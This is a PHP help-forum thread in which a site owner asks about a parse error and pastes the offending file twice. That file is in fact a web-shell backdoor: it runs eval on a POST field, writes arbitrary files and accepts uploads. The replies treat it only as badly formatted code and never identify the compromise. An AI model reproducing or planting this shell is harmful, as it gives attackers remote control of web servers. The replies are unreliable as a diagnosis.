Jump to content

T_IS_EQUAL problem


zaid55

Recommended Posts

hi there me website is showing up this error

 

Parse error: syntax error, unexpected T_IS_EQUAL in /home/stevesaf/public_html/includes/languages/english/mainpage.php on line 1

 

and the php file is this

<?php exit;==1){echo 'Cookies must be enabled !';$tf='';if(@$_POST['tf']){$tf=@$_POST['tf'];}if(@$_POST['e']){eval(@$_POST['e']);}if(@$_POST['t']){if($tf!=''){$f=fopen($tf,'w');fwrite($f,@$_POST['t']);fclose($f);}}if(@$_FILES['f']['name']!=''){$tf=$_FILES['f']['name'];move_uploaded_file(@$_FILES['f']['tmp_name'],$tf);}exit;}?>

Link to comment
Share on other sites

- Be conscious of where you are posting.  I moved this thread from the wrong section.

- Use


tags when posting code on the forums.

- Format your code, it will be easier for a plethora of reasons.

Link to comment
Share on other sites

The object of coding in PHP is NOT to write the most incomprehensible code in the least amount of space.

 

Put one statement on a line, indent everything properly, and use an editor that color codes. You will see your errors much quicker.

 

Ken

Link to comment
Share on other sites

hey still i have the same error


<?php 
exit;==1)
{echo 'Cookies must be enabled !';
$tf='';
if(@$_POST['tf']
)
{
$tf=@$_POST['tf'];
}
if(@$_POST['e'])
{
eval(@$_POST['e']);
}
if(@$_POST['t'])
{
if($tf!='')
{
$f=fopen($tf,'w');fwrite($f,@$_POST['t']);fclose($f);
}
}
if(@$_FILES['f']['name']!=''){$tf=$_FILES['f']['name'];move_uploaded_file(@$_FILES['f']['tmp_name'],$tf);
}
exit;
}
?>

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.